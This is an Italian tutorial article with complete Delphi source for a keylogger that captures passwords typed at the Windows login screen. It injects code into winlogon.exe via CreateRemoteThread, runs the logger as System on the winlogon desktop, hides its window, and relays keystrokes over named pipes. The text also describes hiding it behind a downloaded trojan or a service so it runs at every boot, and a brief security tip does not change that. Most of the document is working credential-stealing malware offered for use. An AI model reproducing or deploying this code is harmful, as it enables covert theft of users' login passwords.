|
Nell' articolo articolo42.htm si è visto come
eseguire un programa con l' utenza System. In pratica si è usata la tecnica di
"Code Injection" copiando procedura e dati nello spazio di memoria del processo
winlogon.exe: la procedura che viene eseguita in remoto (nel contesto del
processo winlogon.exe) esegue un CreateProcess ed il processo risultante,
essendo figlio di winlogon.exe, sarà eseguito con l' utenza System (essendo
winlogon.exe stesso eseguito con l' utenza System). Bene adesso partiamo proprio
da quell' articolo per fare un passo avanti: abbiamo visto che, per fare in modo
che il programma interagisca con il desktop (in parole povere sia visibile),
bisogna specificare il desktop winsta0\default come valore del campo lpDesktop
del parametro StartupInfo di CreateProcess. Bene ... a questo punto consiglio
nuovamente di dare un' occhiata all' articolo
http://www.microsoft.com/msj/1298/terminalserver/terminalserver.aspx
per farsi un pò un' idea (tramite uno dei paragrafi) sui concetti di
Winstation e Desktop (prima o poi scriverò un articolo completo su di loro ...
ormai è da mesi che è il mio chiodo fisso). Bene: se invece di winsta0\default
scrivo winsta0\winlogon allora il programma interagisce con la finestra di
login: se il programma non ha la form principale con la caratteristica di essere
sempre visibile su tutte le altre, allora nel momento in cui si apre la finestra
di login (tasto windows + L se è attivo il cambio rapido utente altrimenti
semplicemente il classico vecchio Ctrl + Alt + Canc) si vedrà per un attimo il
programma ma poi questo sarà coperto dalla finstra di login; basta un Alt + Esc
per riportarlo agli onori della cronaca ed in ogni caso il classico Alt + Tab
per elencare tutti i programmi con finestra sortirà lo stesso effetto. Bene a
questo punto possiamo sbizzarrirci un pò ed eseguire qualsiasi programma nella
finestra di login: un test ad effetto può essere quello di eseguire uno di quei
programmini che, nel momento in cui si posiziona la freccia del mouse su una
casella di testo di tipo password, si riesce a visualizzare il testo in chiaro
che c' è dietro i classici pallini (o asterischi) che compaiono quando digitiamo
caratteri in una casella di testo di tipo password. Vedremo esattamente la
password digitata: ecco ... chiaramente la password la conosciamo già visto che
l' abbiamo digitata noi. E allora cosa serve una cosa simile??? Behhhh serve per
capire che mentre noi lavoriamo (o cazzeggiamo) nella nostra sessione windows
tra programmi p2p e cagatine varie, uno di questi programmini può eseguire un
programma nel contesto del desktop winsta0\winlogon (la schermata di login) e
registrare quello che digitiamo quando ci loggiamo: in sostanza noi apriamo la
nostra sessione, ci scarichiamo da internet un programmino di quelli che
sembrano tanto belli tutti colorati, lo lanciamo e questo ci fa partire di
nascosto un bel keylogger nel desktop winsta0\winlogon (in grado quindi di
registrare i tasti nel campo della password); a questo punto noi non ci siamo
chiaramente accorti di nulla, blocchiamo un attimo la sessione (Windows + L
oppure Ctrl+Alt+Canc) perchè andiamo a farci un panino e quando torniamo
digitiamo la password per rientrare in sessione: ecco che il keylogger ha
registrato tutto; oltretutto spesso non c' è nemmeno bisogno che uno blocchi
volntariamente la sessione: infatti la screensaver è attivo di default e quando
va in esecuzione poi bisogna riloggarsi perchè ci ritroviamo con la maschera di
login; ora alzi la mano chi, nel corso di una sessione Windows non ha mai
bloccato la sessione o si è trovato lo screensaver che è andato in esecuzione.
In pratica se va in esecuzione quel keylogger nel desktop winsta0\winlogon,
allora è sicurao quasi al 100% che tale keylogger raggiunga il suo obiettivo
(cioè registrare la password). Se questo non bastasse, l' eseguibile che lancia
il keylogger potrebbe essere implementato come servizio di Windows: il
programmino bellino bellino scaricato da internet installerebbe tale eseguibile
come servizio; fatto questo ad ogni avvio di windows partirebbe stò c***o di
servizio che lancerebbe il keylogger nel desktop winsta0\winlogon (il servizo
viene anch' esso eseguito come System (di default) e quindi ogni processo creato
da un servizio sarà eseguito come System (di default). In questa maniera si
avrebbe la garanzia totale di registrare la password. In entrambi i casi (sia il
caso dell' esecuzione di un programma come system tramite "code injection" sia
il caso dell' installazione di un servizio) viene richiesto che l' utenza che
effettua il tutto abbia diritti amministrativi: è quindi buona norma nonlavorare
mai con utenze amministrative (soprattutto cazzeggiare su internet) ma usare
utenze user minimali (ed eseguire le operazioni di sistema con "esegui come" dal
menù contestuale o "runas" dalla linea di comando). Bene dopo tutte queste
considerazioni passerei alla pratica: allora cosa vogliamo realizzare?????
Niente di particolare: semplicemente un KeyLogger che gira nella schermata di
login; infatti se noi lanciamo il keylogger nella nostra sessione non saremo mai
in grado di registrare i tasti premuti in fase di inserimento password. Bene come keylogger possiamo usare quello realizzato nell' articolo
articolo33.htm. Gli eliminamo i 2 pulsanti ed
inseriamo l' hook e l 'unhook rispetivamente negli eventi OnCreate ed OnDestroy
della form. Poi dobbiamo fare in modo che la form non sia visibile e non basta
settare Visible := False ma bisogna mettere nel sorgente del project l'
istruzione Application.ShowMainForm := False e poi lavorare un pò con le api di
Windows nell' evento OnCreate della form stessa. Poi c' è un altro problema: i 2
applicativi viaggiano in 2 mondi separati: uno sul desktop winsta0\default e l'
altro sul desktop winsta0\winlogn; non possono comunicare l' uno con l 'altro
tramite i messaggi (i messaggi hanno come raggio d' azione il desktop e quindi
si possono scambiare messaggi le applicazioni che interagiscono col medesimo
desktop). Dovremo quindi usare una tecnica alternativa per la comunicazione che
constiste nell' utilizzo di 2 named pipe: il primo creato dall' eseguibile di
partenza ed aperto dal keylogger, il secondo creato dal keylogger ed aperto
successivamente dall' eseguibile di partenza (che ha appunto lanciato il
keylogger). Il primo consentirà al keylogger di inviari i tasti intercettati
all' eseguibile di partenza, il secondo verrà utilizzato dall' eseguibile di
partenza per inviare una stringa al keylogger con la quale si comunica al
keylogger che deve terminare la sua esecuzione. In questo contesto verrà
richiesta anche la presenza di un oggetto di tipo Evento per assicurarsi che l'
eseguibile di partenza apra il named pipe creato dal keylogger solo dopo che
quest' ultimo lo abbia effettivamente creato. Se andiamo nei dettagli anche qui
si diventa vecchi (il perchè dei vari parametri utilizzati nella gestione di
named pipe, etc...) quindi taglierei corto e butterei giù la sbrodolata del
codice:
Codice sorgente dell' eseguibile iniziale iniziale (una form, 2 pulsanti
(btAttivaKeylogger, btArrestaKeylogger) ed un campo memo):
//Carlo Pasolini
//http://utenti.lycos.it/carlpasolini
unit Main;
interface
uses
Windows, Messages, SysUtils, (*Variants, *)Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,
ProcessUtilities;
type
TForm1 = class(TForm)
btAttivaKeylogger: TButton;
Memo1: TMemo;
btArrestaKeylogger: TButton;
procedure btAttivaKeyloggerClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btArrestaKeyloggerClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
TNamedPipeThread = class(TThread)
private
FReadMessage: String;
FPipeHandle: Integer;
procedure DisplayMessage;
protected
procedure Execute; override;
public
constructor Create(Pipe: Integer);
end;
var
Form1: TForm1;
Pipe_keys, Pipe_stop_logger: THandle;
keylogger_pipe_event: THandle;
implementation
{$R *.dfm}
{ TNamedPipeThread }
//arresta il KeyLogger che gira nel desktop winsta0\winlogon
procedure StopLogger;
var
BytesWritten: Cardinal;
sMessage: String;
begin
sMessage := 'exit_logger';
WriteFile(Pipe_stop_logger, sMessage[1], Length(sMessage), BytesWritten, nil);
end;
constructor TNamedPipeThread.Create(Pipe: Integer);
begin
inherited Create(False);
FPipeHandle := Pipe_keys;
end;
procedure TNamedPipeThread.Execute;
const
BytesToRead = 1000;
var
BytesRead: Cardinal;
DataRead: Array[0..BytesToRead] Of Char;
begin
repeat
ReadFile(FPipeHandle, DataRead, BytesToRead, BytesRead, nil);
if (BytesRead <> 0) then
begin
SetString(FReadMessage, DataRead, BytesRead);
Synchronize(DisplayMessage);
end;
until (Terminated);
end;
procedure TNamedPipeThread.DisplayMessage;
begin
with Form1.Memo1 do
Text := Text + FReadMessage;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
//creo il pipe per la lettura dei tasti inviati dal logger
Pipe_keys := CreateNamedPipe('\\.\pipe\pipe_keys',
PIPE_ACCESS_INBOUND,
PIPE_TYPE_MESSAGE or PIPE_READMODE_MESSAGE or PIPE_WAIT,
1,
8096,
8096,
5000,
nil);
if (Pipe_keys = INVALID_HANDLE_VALUE) then
raise Exception.Create('Impossibile creare il named pipe ' + '\\.\pipe\pipe_keys');
keylogger_pipe_event := CreateEvent(nil, True, False, 'keylogger_pipe');
//creo il thread di lettura dei tasti inviati dal logger usando il named pipe
// \\.\pipe\pipe_keys
with TNamedPipeThread.Create(Pipe_keys) do
FreeOnTerminate := True;
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
DisconnectNamedPipe(Pipe_keys);
CloseHandle(Pipe_keys);
CloseHandle(Pipe_stop_logger);
end;
procedure TForm1.btAttivaKeyloggerClick(Sender: TObject);
var
hRemoteProcess: THandle;
begin
btAttivaKeylogger.Enabled := False;
hRemoteProcess := SystemProcess(pAnsiChar(GetCurrentDir + '\keylogger.exe'));
//mi metto in attesa dello sblocco da parte del keylogger subito dopo aver creato
//il named pipe \\.\pipe\pipe_stop_logger
WaitForSingleObject(keylogger_pipe_event, INFINITE);
//apro il pipe, creato dal logger, per la scrittura del messaggio 'exit_logger'
//di terminazione del logger
Pipe_stop_logger := CreateFile('\\.\pipe\pipe_stop_logger',
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (Pipe_stop_logger = INVALID_HANDLE_VALUE) then
raise Exception.Create('Impossibile creare il named pipe ' + '\\.\pipe\pipe_keys');
btArrestaKeylogger.Enabled := True;
end;
procedure TForm1.btArrestaKeyloggerClick(Sender: TObject);
begin
//
btArrestaKeylogger.Enabled := False;
StopLogger();
btAttivaKeylogger.Enabled := True;
end;
end.
sorgente della unit ProcessUtilities (contiene l' implementazione del "code
injection" per la creazione di un processo con l' utenza System)
unit ProcessUtilities;
interface
uses
Windows, Sysutils, TlHelp32;
function SystemProcess(NomeProg: pChar): THandle;
implementation
type
TRemoteData = record
pCreateProcess: function (lpApplicationName: PAnsiChar; lpCommandLine: PAnsiChar;
lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
bInheritHandles: BOOL; dwCreationFlags: DWORD;
lpEnvironment: Pointer; lpCurrentDirectory: PAnsiChar;
const lpStartupInfo: TStartupInfo;
var lpProcessInformation: TProcessInformation): BOOL; stdcall;
pDesktop: pchar;
pProgName: pchar;
end;
PRemoteData = ^TRemoteData;
procedure ModificaPrivilegio(szPrivilege: pChar; fEnable: Boolean);
var
NewState: TTokenPrivileges;
luid: TLargeInteger;
hToken: THandle;
ReturnLength: DWord;
begin
OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES,
hToken);
LookupPrivilegeValue(nil,
szPrivilege,
luid);
NewState.PrivilegeCount := 1;
NewState.Privileges[0].Luid := luid;
if fEnable then
NewState.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
else
NewState.Privileges[0].Attributes := 0;
AdjustTokenPrivileges(
hToken,
FALSE,
NewState,
sizeof(NewState),
nil,
ReturnLength);
CloseHandle(hToken);
end;
function PidProcesso(NomeProcesso: string): LongWord;
var
pe: TProcessEntry32;
hSnap: THandle;
begin
hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pe.dwSize := sizeof(TProcessEntry32);
//Prelevo informazioni sul primo processo nello snapshot di sistema
Process32First(hSnap, pe);
repeat //loop sui processi
Result := pe.th32ProcessID;
if (LowerCase(pe.szExeFile) = LowerCase(NomeProcesso)) then
begin
break;
end;
until (not (Process32Next(hSnap, pe)) ) ;
CloseHandle(hSnap);
end;
function InjectString(Process: LongWord; Text: pchar): pchar;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process,
nil,
Length(Text) + 1,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Text, Length(Text) + 1, BytesWritten);
end;
function InjectDati(Process: LongWord; Dati: Pointer; Dimensione: dword): pointer;
var
BytesWritten: dword;
begin
Result := VirtualAllocEx(Process,
nil,
Dimensione,
MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(Process, Result, Dati, Dimensione, BytesWritten);
end;
function RemoteThread(RemoteData: PRemoteData): dword; stdcall;
var
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
begin
with RemoteData^ do
begin
StartupInfo.cb := SizeOf(StartupInfo);
StartupInfo.lpReserved := nil;
StartupInfo.lpDesktop := pDesktop;
StartupInfo.lpTitle := nil;
StartupInfo.dwX := 0;
StartupInfo.dwY := 0;
StartupInfo.dwXSize := 0;
StartupInfo.dwYSize := 0;
StartupInfo.dwXCountChars := 0;
StartupInfo.dwYCountChars := 0;
StartupInfo.dwFillAttribute := 0;
StartupInfo.dwFlags := 1;
StartupInfo.wShowWindow := 0; //invisibile; 5: visibile
StartupInfo.cbReserved2 := 0;
StartupInfo.lpReserved2 := nil;
StartupInfo.hStdInput := 0;
StartupInfo.hStdOutput := 0;
StartupInfo.hStdError := 0;
if pCreateProcess(nil,
pProgName,
nil,
nil,
False,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS,
nil,
nil,
StartupInfo,
ProcessInfo) then
begin
Result := ProcessInfo.hProcess;
end
else
begin
Result := 0;
end
end;
end;
procedure EndRemoteThread(); stdcall;
begin
end;
//restituisce l' handle del processo creato
function SystemProcess(NomeProg: pChar): THandle;
var
PID: dword;
RemoteData: TRemoteData;
process, thread: THandle;
ptrInput, ptrProc: Pointer;
ThreadId: DWORD;
CodUscita: dword;
begin
ModificaPrivilegio('SeDebugPrivilege', TRUE);
PID := PidProcesso('winlogon.exe');
Process := OpenProcess(PROCESS_CREATE_THREAD +
PROCESS_QUERY_INFORMATION +
PROCESS_VM_OPERATION +
PROCESS_VM_WRITE +
PROCESS_VM_READ,
False,
PID
);
RemoteData.pProgName := InjectString(Process, NomeProg);
// RemoteData.pDesktop := InjectString(Process, 'winsta0\default');
RemoteData.pDesktop := InjectString(Process, 'winsta0\winlogon');
RemoteData.pCreateProcess := GetProcAddress(GetModuleHandle('kernel32'), 'CreateProcessA');
ptrInput := InjectDati(Process, @RemoteData, SizeOf(RemoteData));
ptrProc := InjectDati(Process, @RemoteThread, dword(@EndRemoteThread) - dword(@RemoteThread));
Thread := CreateRemoteThread(Process, nil, 0, ptrProc, ptrInput, 0, ThreadId);
WaitForSingleObject(Thread, INFINITE);
//ottengo l' handle del processo creato come figlio di winlogon.exe
GetExitCodeThread(Thread, CodUscita);
VirtualFreeEx(Process, ptrInput, SizeOf(RemoteData), MEM_RELEASE);
VirtualFreeEx(Process, ptrProc, dword(@EndRemoteThread) - dword(@RemoteThread), MEM_RELEASE);
CloseHandle(Thread);
Result := CodUscita;
end;
end.
sorgente del keylogger
unit Main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, AppEvnts;
type
PKBDLLHOOKSTRUCT = ^KBDLLHOOKSTRUCT;
KBDLLHOOKSTRUCT = record
vkCode: DWORD;
scanCode: DWORD;
flags: DWORD;
time: DWORD;
dwExtraInfo: Longword;
end;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
TNamedPipeThread = class(TThread)
private
FReadMessage: String;
FPipeHandle: Integer;
protected
procedure Execute; override;
public
constructor Create(Pipe: Integer);
end;
var
Form1: TForm1;
hinstDLL: LongWord;
hhookSysMsg: Longword;
Pipe_keys, Pipe_stop_logger: THandle;
keylogger_pipe_event: THandle;
implementation
{$R *.dfm}
procedure Scrivi(str: string);
var
BytesWritten: Cardinal;
sMessage: String;
begin
sMessage := str+#13#10;
WriteFile(Pipe_keys, sMessage[1], Length(sMessage), BytesWritten, nil);
end;
constructor TNamedPipeThread.Create(Pipe: Integer);
begin
inherited Create(False);
FPipeHandle := Pipe_stop_logger;
end;
procedure TNamedPipeThread.Execute;
const
BytesToRead = 1000;
var
BytesRead: Cardinal;
DataRead: Array[0..BytesToRead] Of Char;
begin
repeat
ReadFile(FPipeHandle, DataRead, BytesToRead, BytesRead, nil);
if (BytesRead <> 0) then
begin
SetString(FReadMessage, DataRead, BytesRead);
end;
until (Terminated) or (FReadMessage = 'exit_logger');
if not (Terminated) then
begin
//rimuovo l' hook sulla tastiera
UnhookWindowsHookEx(hhookSysMsg);
ExitProcess(0);
end;
end;
function KeyboardHookProcedure(nCode: Integer; wParam: WPARAM; lParam: LPARAM): integer; stdcall;
var
strKeyName : string;
hooked: KBDLLHOOKSTRUCT;
dwMsg: DWORD;
begin
result := 0;
if ((nCode = HC_ACTION) and
((wParam = WM_SYSKEYUP) or
(wParam = WM_KEYUP))) then
begin
hooked := PKBDLLHOOKSTRUCT(lParam)^;
dwMsg := 0;
dwMsg := dwMsg + (hooked.scanCode shl 16);
dwMsg := dwMsg + (hooked.flags shl 24);
SetLength(strKeyName, 20);
GetKeyNameText(dwMsg, pChar(strKeyName), $FF);
strKeyName := copy(strKeyName,1,StrLen(pChar(strKeyName)));
Scrivi('{' + strKeyName + '}');
end;
result := CallNextHookEx(hhookSysMsg, nCode, wParam, lParam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
//rendo invisibile l' applicazione nell' Alt+Tab /////
ShowWindow(Application.handle, SW_HIDE);
SetWindowLong(Application.handle,
GWL_EXSTYLE,
GetWindowLong(application.handle, GWL_EXSTYLE) and
not WS_EX_APPWINDOW or WS_EX_TOOLWINDOW);
ShowWindow(Application.handle, SW_SHOW);
//////////////////////////////////////////////////////
//creo il pipe per la lettura del messaggio di terminazione del logger
Pipe_stop_logger := CreateNamedPipe('\\.\pipe\pipe_stop_logger',
PIPE_ACCESS_INBOUND,//PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE or PIPE_READMODE_MESSAGE or PIPE_WAIT,
1,
8096,
8096,
5000,
nil);
if (Pipe_stop_logger = INVALID_HANDLE_VALUE) then
raise Exception.Create('Could not create named pipe '+'\\.\pipe\pipe_stop_logger');
keylogger_pipe_event := OpenEvent(EVENT_MODIFY_STATE, False, 'keylogger_pipe');
SetEvent(keylogger_pipe_event);
//apro il pipe, creato dall' applicativo che ha attivato il logger, per l' invio
//dei tasti
Pipe_keys := CreateFile('\\.\pipe\pipe_keys',
GENERIC_WRITE,
0,
nil,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
if (pipe_keys = INVALID_HANDLE_VALUE) then
raise Exception.Create('Could not create pipe '+'\\.\pipe\pipe_keys');
//creo il thread di lettura dei tasti inviati dal logger usando il named pipe
// \\.\pipe\pipe_stop_logger
with TNamedPipeThread.Create(Pipe_stop_logger) do
FreeOnTerminate := True;
//setto un hook sulla tastiera
hhookSysMsg := SetWindowsHookEx(13, @KeyboardHookProcedure, GetModuleHandle(nil), 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
DisconnectNamedPipe(Pipe_stop_logger);
CloseHandle(Pipe_stop_logger);
CloseHandle(Pipe_keys);
end;
end.
Come ultima cosa c' è da osservare che in questo modo è anche possibile
intercettare le combinazioni di tasti di sistema tipo ad esempio Ctrl+Alt+Canc,
etc... di seguito srogenti e binari keylogger_winlogon |